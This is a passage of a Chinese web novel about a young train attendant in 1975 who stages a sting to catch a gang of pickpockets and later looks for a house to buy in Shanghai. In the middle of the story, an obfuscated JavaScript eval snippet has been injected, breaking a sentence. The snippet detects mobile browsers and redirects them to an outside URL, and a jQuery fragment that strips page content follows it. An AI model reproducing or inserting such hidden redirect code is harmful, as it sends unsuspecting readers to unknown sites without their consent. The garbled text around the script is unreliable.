除了播报站点,上下车提示外,还会播放戏曲和当代一些比较红的歌曲。但是这时候播放歌曲可不能随便播,毕竟改革还没开放,那些在港台十分火爆的甜蜜蜜之类的流行歌曲是绝对不能放的。 只能放一些红歌,大陆影视的歌曲。 有的播报员甚至还会再广播里邀请会唱歌的乘客,去播音室唱歌,就是为乘客增加一些娱乐。 还有的播音员会在广播室读报纸,读一些比较重要的咨询,或者一些大站当地的报纸上面的内容。 听完闪闪红星,烟也抽完了。程成拎着他的大水壶去休息室那边休息,席于飞想了想,也在这里坐不住,干脆出去溜达一圈。 车上的人真的很多,走廊里,门口,甚至厕所里都挤满了人。 他努力挤到广播站,探头探脑的往里面看。 这个广播员看着二十多不到三十岁,梳着个大背头,像个领导似的。他正在摆弄机器,播放下一首歌曲。 播放歌曲的时候,话筒是关闭状态。播音员弄完歌曲原本想看一会儿报纸,见门口来了人就皱眉,“什么事?” “啊,那什么……茉莉花茶,您喝吗?”席于飞掏出一包茶叶递过去,“挺香的。” 那人脸色缓和,松了口气道:“我还以为出了什么紧急情况了呢。” 车上如果丢了东西,孩子跑不见了,或者有人生病都算紧急情况,需要播音员配合播报。 “哥,是有那么个事儿……” 席于飞见对方并不排斥自己,厚着脸皮挤进屋,把自己的想法说了一下。 播音员皱着眉头想了想,“一般我们都是快到站的时候才会播报……” “那时候如果发现丢了东西,可就真找不回来了。那什么,我知道这件事对您来说比较麻烦,但我也是为了老百姓着想。那什么,你不愿意也没事,顶多我就在自己车厢里喊几声。” 席于飞知道这个年代大家都是拿铁饭碗,平时多一事不如少一事,养出来的性子都比较懒。 “这有什么不愿意的,”播音员笑了笑,“反正我也是没什么事做,不是放歌就是读报纸。不就是到站前一个小时说一次,然后过半个小时再提醒一次吗?成,我记录一下。你这孩子还挺有意思,新来的就敢提意见了。” 席于飞嘿嘿一笑,道:“我就是看大哥您好说话,才厚着脸皮提要求的。” 播音员摆摆手道,“别扯这些,你提的意见是好意见我就听,再说也不是什么费劲儿的事。成了,你赶紧回去休息吧,这一路上有的折腾呢。” 从播音室往回走,又遇到了巡车的陈虎,“溜达呢?” “嗯呢,你这也溜达一圈了?车上咋样?”席于飞问。 陈虎笑着道:“还能咋样,这才第一站,没人敢在刚开始就作死。你且等着吧,等凌晨那时候,热闹。” 虽然陈虎也是第一次上车,但他也有师傅带,估计这些话是他师傅说的。 那些“手艺人”,最喜欢在凌晨的时候动手了。因为那时候车里灯光昏暗,乘客昏昏欲睡,最适合施展手艺。到时候一停车往车外一窜,谁都抓不到。 席于飞可不想自己负责的车厢里出事,如果出事太多会影响整辆车评优,这个评价关系着他师傅老侯的评级,以及他们这些人的工资涨幅。 若是出事次数多了,还会被车组内通报批评,脸都得丢光。 11.下勾 “老常,怎么多播了那么多次提示?”老侯侯长青溜达进了广播室,看着里面的那个男人,递过去一包饼干。 常峥嵘接过饼干直接撕开包装,这是鲁省特产的钙奶饼干,抢手货,味道很香。 他一边吃饼干一边道:“你那个小徒弟巴巴跑来跟我说这件事,不过就是多播几遍提示罢了,反正我也没有别的事做。” 列车广播员比乘务员轻松很多,虽然休息时间比较零碎,但不用到处溜达面对难缠的乘客,也不用打扫卫生。能做广播员一个是要有门路,第二个还必须得声音好听,得有专业证书。 常峥嵘可是个老牌广播员了,之前在火车站做广播员,还带了几个徒弟。后来觉得在火车站无聊,就跑来跟车了。 其实除了无聊,还有就是跟车能有点儿灰色收入。他家毕竟一大家子要养,哪怕媳妇儿也有工资,但架不住老人多孩子多,钱这种东西,总是不够花的。 “那小子,”侯长青忍不住笑出来,“梅雨还跟我说呢,那小子上手极快,看着不像个新人。你看哪次新人上车不都是畏手畏脚的,那小子不,该训斥训斥,该柔和柔和,脑袋瓜转的也快,嘴甜会来事儿。老宋这次介绍的人,没看走眼。” 常峥嵘点点头,道:“确实不错,模样也好,挺讨喜的。就是黑了点儿,听说之前下乡刚回来?” 侯长青道:“是这么一说,他家条件不错,当年也是迫不得已下了乡,这三年给孩子折腾的够呛,黑瘦黑瘦的。不过底子好,养半年也就养回来了。” 常峥嵘放下饼干,拿起泡大海和菊花的大茶缸子喝了口水,“对了,我听说你这里还有个名额?” 侯长青道:“是,怎么,你家有人打算来这边?” 他们这趟车上还少个人,但侯长青这个人挑人,看不上眼的怎么都不会要。之前老宋要给他分新人他死活不乐意,要不是老宋说那小子会来事嘴也甜,他都不稀得去看。去的时候还特地把大徒弟也带上了,回头真看不上人就让大徒弟拒绝。 梅雨被迫背上了这口大锅,幸好席于飞这个人确实不错。 其实上辈子,宋科长压根就没有通知侯长青,直接把人分给了那个老王。 侯长青跟常峥嵘聊了几句就走了,顺便往席于飞那边溜达。 现在已经过了四站了,还有漫长的一个晚上要度过。值夜班最能看出来一个人的能力,再加上天色黑了,他顺便提醒徒弟去打饭。 晚上路过的车站也不少,现在车里的人更多,那真的是挤得下脚的地方都快没了。 侯长青到的时候席于飞正在帮乘客弄行礼,行李架上已经堆满了,他正在挨个整理,想要空出点儿空隙,好把一个大爷的蛇皮袋子塞进去。 侯长青见状帮了个忙,弄好之后俩人都出了汗。 “到饭点儿了,你去打饭,我帮你盯一眼。”侯长青现在看着席于飞越看越喜欢,这种有眼力价的新人可太难得了,之前他带过几个新人,一开始看着挺好,谁知道上车别的不会,先学会偷懒了,又没有眼力价,给他气的一佛出世二佛升天的,后面找个借口就把人调别的车上去了。 “师傅吃了吗?”席于飞摘了帽子擦擦额头,别看都九月份快十月份了,可是在这个人挤人的车厢里,温度那叫一个高。好几扇窗户开着呢都降不下去温。 “你把饭打回来我就去吃,”侯长青个头比席于飞高壮,替他在前面开路。 席于飞也没矫情,回到休息室拿了入职发的那个饭盒子就去了餐车。 他们这些车组人员在车上吃饭时免费的,但就是普通的二合面馒头或者窝头之类,外加一份菜。菜里倒是有点儿油水,但味道相当一般。 如果想吃点儿好的也不是没有,肉包子烙饼小炒餐车也会准备,但要加餐就得自己掏钱跟饭票肉票了。 席于飞只打了一份免费的,他到不是说委屈自己,而是自己市场里那么多好吃的,没必要把钱票花在这个地方。 短途车上乘务员吃饭都跟打仗似的,彼此帮忙盯班,互相打饭,或者帮忙打回来。 吃饭过程中乘客不找事还好,如果乘客闹腾,还得出去解决,等回来饭菜都凉了。 他回来把饭盒放在小桌上,侯长青正在摆弄他的那个茉莉花茶,给自己冲了一茶缸子。 “师傅,我回来了,您赶紧去吃饭。”席于飞又擦了擦头上的汗,他这节车厢离餐车比较远,一来一回是真的费功夫。尤其是脚底下也都是人,走路还得小心,否则就得踩着别人的手脚,处理不好又得耽误工夫。 侯长青喝了口茶,笑着问道:“我听老常说你上他那里让他多播几遍提示?” 席于飞点点头道:“是,啊……这个是不是得先跟师傅您说啊?其实我就是过去顺嘴说了一下。” “别紧张,”侯长青摆摆手,“跟我说说你咋想的。” 其实这种事也不是席于飞想出来的,而是后世他看新闻,知道公交车上的司机或者售票员发现车里混进了疑似小偷的人,都会放一下这种提示。 听到提示的乘客会下意识的看一下自己的包,这样会极大的保护了乘客财产安全。 主要是这时候的小偷小摸的都穷疯了,身上极有可能带着武器,如果你单枪匹马的过去阻止,备不住就被偷盗团伙给伤了。 席于飞虽然能找到逃跑的逼着他们去补票,毕竟间隔站一张票也没有几个钱。但如果触及了对方的利益,指不定会出什么乱子呢。 “我也是之前坐公交的时候,看到售票员会这么做。”他可不好意思往自己脸上贴金,“其实我想着,如果常大哥没空,我就自己喊两声,反正也耽误不了什么事儿。主要是提醒乘客看好自己的东西,只要乘客自己上心,小偷就得不了手。” “你小子,脑子转的挺快。”侯长青听完心里十分满意,但脸上却不露,“成,徒弟都这么上心,当师傅的自然得帮忙。你常大哥……不是,老常都三十多了,你得叫叔知道吗?你常叔还夸你来着,觉得你很有想法。” 席于飞不好意思的笑了笑,然后探身往自己的包里翻了两下,“师傅,我家给我带了好多吃的,我怕一路吃不完都放坏了。这个烧鸡您拿回去吃,一会儿我给常叔拿两根香肠过去。” “香肠又放不坏,你留着慢慢吃。这个烧鸡就够我跟你常叔吃的了。”侯长青接过烧鸡,这毕竟是徒弟的孝敬,他也没有必要拒绝。“行了,我去吃饭了,晚上你多警醒点儿。” 侯长青虽然没拿香肠,但是梅雨他们溜达过来的时候,席于飞还是把香肠分了出去。 这东西梅雨他们都不缺,但毕竟是自己的心意。 初来乍到,还是把同事关系搞好以后才方便。 背包里还有一罐子大嫂给炒的肉末咸菜,一摞葱油饼跟一大包肉包子,虽然有些冷了,但就着热水吃滋味很是不错。 席于飞吃了个肚圆,正好又到了一站,可以起身消消食了。 晚上一到十点,车厢里的灯都会关上几个,昏暗的灯光也适合休息,无论是乘客还是车组人员,都有些昏昏欲睡。 席于飞用早就打好的冷水擦了把脸,让自己清醒一些。 他没有手表,不过每个休息室都会放着一个小闹钟,看看时间,已经 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“特么的!”被称之为老大的那个二流子翻着三角眼,“这趟车算是上错了,不过还有两站,你们别着急。我就不信乘务员不休息!” 他们这个团伙是车上的老油子了,经常逃票上夜车,第一站先在车厢里找好目标,基本上第二站就能得手。到时候下了车翻过护栏往周围的野地里一钻,谁都抓不到他们。 如今他们的目标就在这节车厢里,有三个看上去干部打扮的人,除了一个大行李,怀里还抱着个小皮包。 他们之前就站在目标人物身边,只要等快到站的时候把东西偷摸拿到手,然后直接趁乱下车就成。 可是这里一遍一遍的提示,周围总是有人醒着,还有乘务员时不时出来看,导致他们压根就没能得手。 最可气的是还有几个乘警也总往这边溜达,看他们站着还劝他们找个地方休息休息,导致他们只能离开目标人物身边。 席于飞可不管这些,他喝了几口浓茶提神儿,又开始溜达了。 看谁睡死了手里的包松了,就把人拍醒,或者看一群人挤在一起站着,就让人找地方休息。 总而言之,都别扎堆,谁也别想睡个好觉。 “还让不让人睡了?”有乘客开始不耐烦。 席于飞也好脾气的笑,“车上哪里是睡觉的地方?大家把自己的行李看好,等下了车回家好好的睡一觉。” 他长得讨喜,说话也柔和,让不耐烦的人也没了脾气。 “哥们,你这够辛苦的啊,溜达多少圈了?”三角眼看席于飞又溜达出来,都快气笑了。 “为人民服务,怎么能说辛苦呢?哥们几个还差两站?挺好的,再两站就能回家睡觉了。”席于飞仍旧笑了笑,心说如果不是你们,我能这么辛苦? 三角眼气的不行,心说我特么是缺那个觉吗?这趟不得手,我这几张票不就赔了? 得,惹不起我躲得起。 “哥们儿说的是,哎哟我跟这里站着也难受,我也溜达溜达。”他打算转移车厢了,别的车厢也不是没有目标,何必必须在一根绳上吊死。 看着他们这几个人溜达到梅雨的车厢里,席于飞松了口气。 梅雨可不像自己这么干巴瘦,他高大魁梧力气也大,主要是对付这些人经验丰富。之前就说好了,如果这些人去了他那个车厢,其他人就在两头堵一下,然后抓个现行。 抓现行的鱼钩都准备好了,就看这几个老兄弟给不给力,能不能让他们车组立个功了。 12.集体功劳 “你们几个,你们,简直……”侯长青黑着脸,看着面前几个小年轻,气的打蹦,“胆子也太大了吧?啊?你们不知道这群扒手是什么德行?身上揣着刀呢!” 常峥嵘在旁边温声细语的劝,“哎呀,老侯,这不是好事吗?” “还有你!你都知道配合他们为什么就不跟我说一声?”侯长青转移了喷火对象。 常峥嵘可不怕他,语气温和,“那时候你不是休息了吗?毕竟你岁数大了……” “少来,我还不到四十,我岁数大,我壮实着呢!”侯长青翻了个大白眼,看着面前垂着头的几个年轻人,“去去去,别跟我面前碍眼,都赶紧忙去!” 车上还没人盯着呢,他也不能把这几个不省心的按住了打屁股啊。 等年轻人们走了,常峥嵘喝了口茶,笑眯眯道:“行了老侯,在孩子面前装模作样的也就算了,跟我面前还这样,合适吗?” 侯长青气笑了,指着常峥嵘道:“你跟老刘,真的是,真是想气死我。你就不怕万一出了事咋整?这群家伙最大的才二十九,最小的才十九,真出了事,我跟谁哭去?” “总要面对的嘛,再说不是有老刘?” 刘玉和是车上乘警队长,跟侯长青差不多大,不过看着比侯长青显老,主要是太黑了。 这场钓鱼策划,其实是席于飞折腾出来的。他看那几个二流子实在太不顺眼了。 有这样的人在,车上的车组人员就没办法好好休息,提心吊胆的。 出了事,挨罚。不出事,就得盯着,劳心费神。 趁着巡车的机会,席于飞就跟梅雨和陈虎程成他们商量了这么一出“钓鱼执法”。 由陈虎去找乘警队长刘玉和,让刘玉和换了衣服替代其中某个目标,装出一副已经睡死怀里的包要掉不掉的样子。 他那个位置之前坐着个京城某厂的采购,包里装着不少钱和票,早就被那群扒手盯上了。 而且那个位置靠近车门,只要在下车之前得手,直接挤下去,那就鱼入大海逍遥自在了。 到了凌晨,车上灯光昏暗,连常峥嵘那边的播报提醒都少了许多。 扒手们晃荡到这个车厢,已经选好了位置,只等下车了。 只是他们没想到,广播员那边下车提示提前了十分钟。 三角眼往目标那边挤,偷摸的将包顺了,塞进大棉袄里裹着,然后又一副等下车的模样往车门处挤。 只是他们没发现,身边站了几名换了便衣的乘警,而且两边车门都被乘务员堵死了。 列车晃了晃,刘玉和装出一副刚发现包没有了的样子大喊大叫起来,把乘客都吵醒了。 三角眼十分着急,他盯着车窗外面无尽的黑暗,按说现在应该能看见一些即将到站的站台牌了,但黑暗中什么都没有。 灯光大亮,乘警和乘务员开始检查乘客们的行李。 三角眼察觉不对,连忙往厕所那边挤。只要进了厕所,厕所里的窗户是可以打开的,到时候他把包丢出去,等下车再跑去捡就可以了。 只是没想到,刚挤到厕所那边,发现一名乘务员正在锁门。 “师傅,怎么锁门了?我想上个厕所。”三角眼着急。 “上什么厕所,没听有人丢东西了吗?忍着,等下车再上。”席于飞装出一副不耐烦的样子,开始轰人。 这时候,身后一阵闹腾。 三角眼转身一看,发现自己几个小弟被人按住了,乘客们都有些惊慌,把门口的地方让了出来。 三角眼这时候还以为自己小弟是哪里露馅了呢,没察觉出这是一起针对他们的全套。 他胳膊紧紧夹住怀里的包,另一只手伸进兜里,攥住被磨的雪亮的铁条。 只要车停了就好,他暗自祈祷,等车停了,他制造点儿混乱然后跑下车,就看小弟们能不能挣脱那几个人了。 三角眼眼珠子滴流乱转,一副骂骂咧咧的样子想要重新回到车门处。 结果刚一转头,一只装着水的大铜壶咣的一声,砸到了他的脑门上。 三角眼被砸蒙了,胳膊一松,怀里的包掉了下来。 “我的包!”刘队长猛地扑上去,三角眼想往后躲,然后撞到了人,被直接一把推到刘玉和眼前。 刘队长伸出手,三下五除二把人锁了,“好家伙,你们这群偷包贼,竟然偷到老子头上了?” 人高马大的梅雨收回手,嘿嘿一笑道:“刘队长勇猛,厉害!” 说完又看向周围,“各位别害怕啊,我们这是抓贼呢。看,偷包贼。还没到站呢,大家先去检查一下自己的行李,再等一会儿才到站。都回到自己座位上去啊,小心被伤到。” 不知道是谁突然开始鼓掌,紧接着车门连接处两个车厢的乘客都鼓起掌来。 “有你们这样的乘务员,我们乘客坐车才会放心!”有人在人群中大喊。 “是,小伙子们好样的!” “我要给你们写表扬信,你们是优秀的乘务人员!” “我也要写表扬信,有你们在,我们老百姓才安心!” 梅雨内心都笑烂了,但表情淡定,“都是为人民服务,好了好了各位,赶紧回去坐着,一会儿到站了啊。大家都看好行李,别总顾着睡觉。车上也许还有别的贼,大家都警醒一些。” 三角眼他们背押到餐车,还有人迷糊着呢。 就这么突然被人锁了手臂,连冤枉都没能喊出来。 三角眼脑门上好大一个包,就这么一会儿鼓了快一寸高了。 他只觉得脑瓜子嗡嗡的,连被人搜身都没能挣扎一下。 “铁条,匕首,半拉剪刀?这是啥?哦,刀片,准备挺全啊。”已经换好乘警制服的刘队长看着桌子上一溜的东西,“还有介绍信?啧啧,准备的挺周密。” 一般这群流窜扒手很少会有介绍信,他们向来是从一截车厢钻进去,一路挤到最后一节车厢,确定好目标再往回挤,然后躲着乘务员,避免补票。 但如果被抓,那么他们就得被当做盲流去劳改,最少也是半年。 有介绍信的都是成熟的团伙了,如果被抓,直接拿出介绍信就能补票。有了介绍信那就是正经坐车的,谁也拿他们没办法。 人都抓了,在餐车休息的侯长青才得知车上发生了什么事。当着刘队长的面他笑呵呵的没发作。等车上联系了站台警察,把扒手都送下去之后,老侯就跳脚了。 “到底是哪个兔崽子出的这种主意?”老侯抓下帽子,用力挠了挠头,“老刘也是,他也跟着瞎闹。” “怎么是瞎闹呢?”常峥嵘一副波澜不惊的样子喝茶,“我看这主意挺好,乘务员,我,乘警都有功劳。哎呀呀,如果真能收到表扬信,那可是真不错。” 老侯无语。 他想了想,“是不是席于飞那小子?他看上去就一副满肚子鬼点子的样子!” 常峥嵘抬手瞅了眼手腕上的表,“哎哟,我得去放歌了,啧啧,耽误我工夫。”说完抬脚就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693260|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,压根不管侯长青努力翻的白眼。 “这可是我们集体的功劳,可别说是我出的主意,是大家一起集思广益!”席于飞把梅雨和程成往门外推,“你俩可别闲着了,没看刘队长跟陈虎他们脸都笑烂了吗?赶紧忙去吧。啊橙子,我这里热水没了……” “请好吧您了,我去给您打热水!”程成拎着他立了功的壶,心满意足的跑了。 虽然铜壶上凹了一小块,但这可是英雄的一小块! 就那咣的一下,唉呀妈呀,他怎么这么厉害呢! 席于飞看着这俩人离开,松了口气。他逡巡了一圈自己负责的车厢,嗯,没有碍眼的了,看着很舒服。 有这么一出,就算车上还有扒手,估计也得掂量一下要不要出手了。 而且刚经过这样一场热闹的抓贼情景,乘客们都比较亢奋,瞅着无比精神。 看看表,已经快两点了,再过三个多小时天就要亮了。等天亮了,车厢里那些小偷小摸自然也就消停下来,不敢再惹事。 只不过刘队长作为“当事人”跟着扒手们一起下车了。估计要等他们到了终点站沪市,刘队长才会做下趟车跟大部队集合。 就这么熬到了中午,列车终于慢悠悠的到了终点站。 席于飞打开车门,搭好梯子下车,站在一旁,看着乘客们扛着大包小包,顺手还能扶一下。等乘客们都离开,乘务员们就要开始忙了。 清理垃圾,擦小桌板,扫地拖地,然后把车窗全部拉下来。清理完车厢,再把厕所检查一遍,冲洗干净,拉好窗户。 这一通忙乎至少一个小时,忙完了去休息值班室整理自己带来的行李,饭盒茶缸子都装好,然后拎着包去站台下集合。 他们这群人要在沪市这边的铁路宿舍休息两天,到第三天跟着回程的车回京城。 这两天算是自由活动,有门路的同事都去找门路了,他们可以在沪市弄点儿京城没有的东西带回去,顺便赚些差价。 这种事其实是禁止的,但大家都睁一眼闭一眼,只要不太过分也就没人管。 宿舍都是四人间,左右两架高低铺,宿舍里有卫生间,只不过没热水,要洗澡得去专门的洗澡堂子。 这种他们跟车车组人员住的宿舍有点儿像招待所,有专门的人负责打扫卫生,一楼还有个食堂,一天24小时随时可以下去吃饭。 席于飞跟了趟车觉得身心俱疲,但同事们看上去精神得很。 他的宿舍估计是老侯特意安排的,住的都是熟人,梅雨,陈虎跟程成。 “请你吃本帮菜啊?”梅雨脱下制服换了便装,一点儿都看不出来是熬了大夜的。程成也是如此,还把要囤货的手提袋整理了一下。 同样第一次跟车的陈虎同志看上去疲惫,但也精神亢奋,他第一次来沪市,总想要出去转一圈。 只有席于飞,他是真的累。 且不说年轻皮囊下的老北鼻扛不扛得住,就这比别人都要警醒的一路,让他的眼睛都快睁不开了。 “你们去吧,我睡一觉再说。饭也不想吃了,累。” “年轻人啊,这里就你最小,就你撑不住!”梅雨也不再多说什么,只是指了指床边的柜子,“那里有澡票,你如果想要洗澡就直接拿。睡醒了别乱跑,这里你不熟悉,别迷路了,等我回来明天带你出去逛。行了行了,赶紧休息去吧。” 席于飞歪在床上摆了摆手,心说我不熟悉沪市? 我闭着眼都能把沪市转一圈!! 13.开始置产业 席于飞合衣躺在床上,安心的睡了一觉。 沪市比京城要暖和多了,九月份的天气还热着,等他满头大汗的醒来,也不过才睡了两个小时。 但是踏踏实实的两个小时。 从包里翻出换洗的衣服,拿着澡票,拎着两个暖水瓶,席于飞熟门熟路的去楼下的锅炉房那边洗澡。 沪市人还是比较精致的,洗澡堂子里都是小隔间。不像北方,偌大的澡堂子都是花洒,雾蒙蒙的能看见一堆堆白条挤来挤去,十分壮观。 只不过这边没有搓澡的,略遗憾。 席于飞换上干净的衣服,把内衣裤在盆里搓干净,然后端着盆子拎着脏衣服去打热水。 这边的宿舍面积挺大的,而且分成了两个部分。一部分对外是招待所,一部分对内是内部员工宿舍。有人会打扫卫生,换洗床单被罩,但不会帮忙打热水。 回去放下热水壶和脏衣服,席于飞摸了摸肚子,他饿了。 一楼就有食堂,同样是一部分对外,一部分对内。而且为了接待内部时不时过来的员工,食堂也是24小时营业的。 对内的餐点比较简单,毕竟不花钱,大多数都是素菜,只有一个半荤的西红柿炒鸡蛋。 席于飞默默地看了两眼那个菜名,挪开了目光。 沪市的西红柿炒鸡蛋他是真心吃不惯,这边好像对盐有仇似的,好好的一个菜不爱放盐喜欢放糖。 他之前吃过这个菜,甜的都快拔丝儿了。 目光在黑板的菜单子上转了两圈,最后干脆点了个红烧排骨,花了半斤肉票,还特地嘱咐大师傅别放太多糖。生怕一个叮嘱不到位,红烧排骨就变成了焦溜小排。 “席于飞!”一个熟悉的大粗嗓门响起。 席于飞正在找座位呢,被这动静吓了一跳,抬眼看过去,“师傅?” 老侯身边还坐着刘队长,看刘队长风尘仆仆的样子,估计是刚下车。 真是辛苦刘队长了。 “您二位这是刚吃完?”席于飞颠颠儿跑过去,拉开椅子坐下来。 老侯哼了声,道:“要不是等老刘,我早就吃完了。”说完,还斜了一眼席于飞。 席于飞装作没看出来,笑呵呵的对刘队长道:“辛苦刘队长了,刘队长真是吾辈楷模!” “少来这套!”侯长青气的撇撇嘴,“你们几个倒是撒欢了,啊?老子睡着睡着特么的被吓一跳,合着你们都不带我一起?怎么?怕我抢功劳?” “师傅这是哪儿的话?有事弟子服其劳,哪能让师傅辛苦呢?再说了,徒弟有功,不就是师傅有功?”席于飞熟练的拍马屁,心说自己终于从一个坚韧不拔一身铁骨的少年郎,变成了个见人说人话,见鬼说鬼话的老北鼻了。 刘队长哈哈大笑起来,“老侯啊,你这个小徒弟找的不错,有脑子,嘴还甜。不像我队里那几个二愣子,说句话能给人气死。” 席于飞听完,内心十分羡慕二愣子。 有的人情商低,那可能就是情商低。但有的人情商低,极有可能是因为背景硬。 能在火车上做乘警的,都有点儿小背景。乘警要比乘务员舒服多了,顶多就是溜达两趟,还不用打扫卫生。最重要的是,他们能佩戴武器,谁都不怕! 想一想,如果自己上辈子脑子没有那么残,估计也能做个不用去在乎别人看法的二愣子。 多爽! 正说着,侯长青他们点的菜也到了。 这时候人不多,服务员跟他们也熟悉,直接把菜端了上来,“侯师傅,不喝点儿?” 侯长青摆摆手,对服务员道:“不喝不喝,一会儿出去溜达溜达。” 桌上放着三盘菜,一个圆白菜炒五花肉,一个红烧鱼,一个醋溜土豆丝。服务员又端上来一盆米饭,看了眼席于飞,“这小兄弟眼生啊。” “小徒弟,第一次跟车。”侯长青笑呵呵道:“多拿个碗来。” “不是第一次来沪市吧?”服务员笑道:“还叮嘱大师傅少放糖呢。” “师兄跟我说的,说沪市菜甜,得少放糖,否则我们北方人吃不惯。”席于飞没想到这服务员嘴这么碎,你管我跟大师傅说过啥呢。 服务员笑嘻嘻道:“放了糖菜才会鲜啊,还能去掉青菜里面的苦味。” “这我不清楚,但我在东北待了几年,那边吃菜才鲜呢,从地里摘了直接蘸酱吃,上桌不用两分钟。”席于飞忍不住怼了一句。 服务员不嘻嘻了,看着老侯道:“你这个小徒弟,嘴巴厉害哦。” “你跟小孩子计较啥?”老侯道:“你这个岁数的时候,嘴巴也厉害。” 服务员哈哈一笑,转身走了。 没一会儿,席于飞点的菜也都上桌了,有个免费的炒青菜,还勾了芡。 席于飞吃了两口,脸蛋子垮了下来。 稀甜。 刘队长到无所谓,唏哩呼噜的先干掉半碗饭,看着席于飞挑挑拣拣的模样道:“一看你这孩子就没受过苦,甜点儿就甜点儿呗,以前吃块糖多开心,现在吃口甜还不愿意了。” “我下过三年乡呢,天天棒子面粥跟红薯,这都吃不饱。”席于飞叹了口气,放弃了青菜转而夹了一块排骨,啃一口叹一口气,最后排骨也放弃了,又夹了一筷子鱼。 鱼吃着很正常,不甜,咸味也正好。 侯长青笑呵呵道:“以后来这里吃饭,想吃个荤的,就吃鱼。这里离海近,鱼虾都便宜。而且鱼甜点儿也没事,能盖腥味。” “以后我来这里吃饭,跟着您点!”席于飞对老侯竖起个大拇指。 老侯慢吞吞的干掉一碗饭,擦了擦嘴,端着他的大茶缸子去倒了热水然后回来问道:“一会儿打算去哪里转?我带你啊?” “不用不用,”席于飞吃饭快,几筷子就扒拉一碗。主要是这里的碗有点儿小,巴掌大,还没家里喂猫的碗大呢,“我就附近逛逛,不去远的地方。师傅你不用管我,我多大人了,还能迷路?” “我是怕你被这里的繁华迷了眼,再被人骗了。”侯长青哼笑。 刘队长嗦了完鱼头,用筷子点了点席于飞,道:“可拉倒吧,他这个脑袋瓜子还能被人骗了?他不去忽悠别人就成了。赶紧吃,吃完我去睡一会儿。特么的,这一路给我折腾的。” 侯长青从兜里掏出个本子,拿出钢笔刷刷写了几行字,把那一页纸撕下来递给席于飞,“这是咱们这里地址,周围的公交车。溜达远了不认路了,就打听这几趟车。如果太晚了看不到车,就找个板车,也能给你拉回来,别舍不得那几块钱。” “谢了师傅。”席于飞把纸往兜里一揣,“师傅,我吃饱了,能先走不?” “滚吧,屁股上面长钉子了你!”老侯不耐烦的抬起下巴,“早点儿回来啊,别特么乱跑!” “得了您嘞!”席于飞一抹嘴,站起身就跑了。 上辈子他也跟车来过沪市,不过那时候跟同事之间关系都不咋地,没人带他玩。偶尔听几个人聊起附近的黑市,但他心气傲,也没去过。 看看时间,还不到四点。 这时候黑市可没人,黑市一般都是早晨或者傍晚才会有人,中午大家都上班,也没人会傻了吧唧过去摆摊。 席于飞揣着手,打算先过去“探探敌情”。无论哪里的黑市,粮食和肉都是硬通货。但他又不能在宿舍就把东西准备好,周围都是同事,指不定谁嘴碎点儿,让人起了怀疑。 最好的办法就是找个靠谱的黑市,在附近租个房子。既能放东西,若是有人来查也能跑得掉。 75年的沪市比起其他城市来,真的可以用得上“繁华”二字了。 这里公交车多,自行车多,周围的老百姓几乎没多少人穿带补丁的衣裳。并且衣服花色也比京城要鲜亮不少。 京城那边常见的服装还是以黑灰蓝绿为主,干部服和列宁装都算得上时髦的衣服,年轻人更是喜欢绿军装,还有夏天的海魂衫。 但沪市这边,已经出现了西装和风衣的影子。 还有一些妇女们,甚至穿着旗袍出门。 这里的老外也比别的地方多,大马路上甚至还有拉黄包车的,上面坐的大多都是老外。 75年的沪市已经开始建造楼房了,不过都是四五层的那种。目前最常见的仍旧是平房,以及小洋楼。 席于飞摸了摸兜,他兜里装着从市场的当铺翻出来的年代钞票。 当铺这个行当真的是什么时代都有,就他那个市场里面都有两个。每个当铺里都有做鉴定的柜台,里面会摆放着一些老物件。能摆出来的基本都是死当,也就是可以拿出来卖掉的。 这种柜台里,那些老钞票老证件之类的也不少。席于飞做贼似的从一本厚厚的票夹里翻出两千多块钱的老钞票,还有不少他没拿,到不是良心发现,主要是那些票子上面的时间都超过75年了。 花出去,容易被人当□□。 沪市这边的胡同不叫胡同,叫弄堂,都是几弄几号这样的区分。 黑市的地点就在弄堂中间一个比较开阔的院子里。那个院子有前后门,周围都是四通八达的巷子。如果黑市开了,几个主要的巷道还有人看守,并且要跟前来卖东西的人收“保护费”。 席于飞在周围转了几圈,就被坐在家门口织毛衣的阿姨们盯上了。 “诶,侬做啥?”阿姨显然把他当做坏分子,软软的沪市话让她说的硬邦邦的。 “阿姨,我铁路上的,”席于飞拿出工作证给她看,“想来这里租个房子,跟朋友同事住了歇脚。” 阿姨看看证件,又看看他,“啊,租房子,有介绍信吗?” 席于飞一愣,“租房子还要介绍信?” “当然啦,单位介绍信,或者街道介绍信。”阿姨看着表情为难的席于飞,压低声音道:“侬铁路上的,有钱伐?买一个房子好的啦。” 席于飞也惊了,“这时候能买房子?” “噢哟,私底下买,谁管的啦。你买不买?我认识的人有要卖房子的哦,人家平反回来,房子多,想要卖掉换钱的啦。”阿姨把毛衣毛线往篮子里一放,“就在附近,带侬看看?” “独门独院的有不?”席于飞也压低声音,“你们这里已经有人平反回来了啊?” “有,大院子小院子都有。”阿姨起身,“有的哦,一个老教授。哎哟,惨的咧。老伴儿也没了,儿子也受伤了。哦哟……” 阿姨一边说一边摇头,“侬是京城人,侬那边没平反的啊?” “我也不知道啊,没关注这个。他房子什么价格?”席于飞脑子转的飞快,在沪市买房子确实划算,这地方过几年就直接起飞,就这个地段,一套房子每平米能上十万,贵的吓死人,比京城还夸张。 他之前一直想着等改开再买房,没想到现在就可以进行房屋买卖了。 “老教授心灰意冷了哦,要不这么多房子他哪里舍得卖!”阿姨一直压低着声音八卦,“亲戚都划清界限了,听说还有出国避难的。哎,难哦。回来照顾儿子,照顾孙子,说是给了补偿,但老伴儿没了,儿媳妇听说受不了,直接离婚走了。哎哟……” 阿姨对这周围真的是熟门熟路,她给介绍了几套院子,说是独门独院,其实跟大杂院差不多,就是院墙一围,周围乱糟糟的,什么人都有。 价格倒是便宜,最低五百,最高也不超过八百。这时候人均工资才三十多,算是高价了。 但人多眼杂,席于飞总觉得不安全。 “有个小楼,就是破了点儿,但也便宜,侬要不要去看看呀?”阿姨走的有点儿累了,脸上挂着不情愿。 